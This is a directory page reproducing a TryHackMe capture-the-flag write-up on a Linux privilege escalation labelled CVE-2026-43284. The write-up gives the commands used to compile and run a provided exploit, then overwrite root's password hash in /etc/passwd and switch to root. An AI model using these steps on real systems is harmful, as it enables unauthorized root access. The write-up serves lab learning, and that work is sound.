Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-43284---DirtyFrag-Analysis-THM- — TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup | Kitploit
Tools/GitHubGitHub/revyhub/cve-2026-43284---dirtyfrag-analysis-thm-
Privilege EscalationVulnerability AnalysisExploitationCTFLearning & EducationLabs & Practice
GitHubrevyhub/cve-2026-43284---dirtyfrag-analysis-thm-

CVE-2026-43284---DirtyFrag-Analysis-THM-

TryHackMe Dirty Frag (CVE-2026-43284) — Linux LPE writeup

Share
View Repository
1713 months agoNot yet reviewed

TryHackMe — CVE-2026-43284: Dirty Frag

Room: CVE-2026-43284: Dirty Frag Category: Linux Privilege Escalation Author: (My Page)

Overview

Dirty Frag is a chained Linux local privilege escalation (LPE) room built around CVE-2026-43284. The goal is to go from an unprivileged shell to root by exploiting a provided proof-of-concept exploit.

Initial Enumeration

Listing the working directory reveals the files provided for the exploit:

$ ls
README.txt
exp
exp.c
  • exp.c — the exploit source code
  • exp — a precompiled binary (may not match the target environment)
  • README.txt — usage notes provided with the exploit

Building the Exploit

Since the provided exp binary may not be compatible with the target's exact environment, it's safer to rebuild it from source:

$ gcc -O0 -Wall -o exp exp.c -lutil
  • -O0 disables compiler optimizations, keeping behavior predictable and matching the source
  • -Wall enables compiler warnings, useful for sanity-checking the build
  • -lutil links libutil — commonly required when code uses pseudo-terminal (pty) functions

Triggering the Vulnerability

$ ./exp

Running the compiled exploit triggers the underlying flaw, resulting in write access to a file that should normally be read-only to unprivileged users — in this case, /etc/passwd.

Escalating to Root

With write access gained, a new password hash for root is generated:

$ openssl passwd -1 root
$1$igIXG8so$6K9OaEbAaj.qaknYx9ST..

This hash is written into /etc/passwd in place of root's existing hash field:

$ nano /etc/passwd

With root's password now known, switching users is straightforward:

$ su root

Capturing the Flag

$ cat /root/flag.txt
THM{REDACTED}

Lessons Learned

  • (This originally took 30+ minutes for general understanding, but once I understood I could repeetively repeat the same exploit multiple times)
  • (The inner root code is strange, you cant select and use the base controls so instead you use the arrow keys to navigate to root❌ and change X to the hash you created)

Mitigations

  • Keep kernel/system packages patched and up to date

This writeup documents a completed TryHackMe room for educational purposes. The target environment is an intentionally vulnerable machine provided by TryHackMe.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    985
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    571
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    341
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    309

Explore all tools

Browse our collection of tools

View all tools →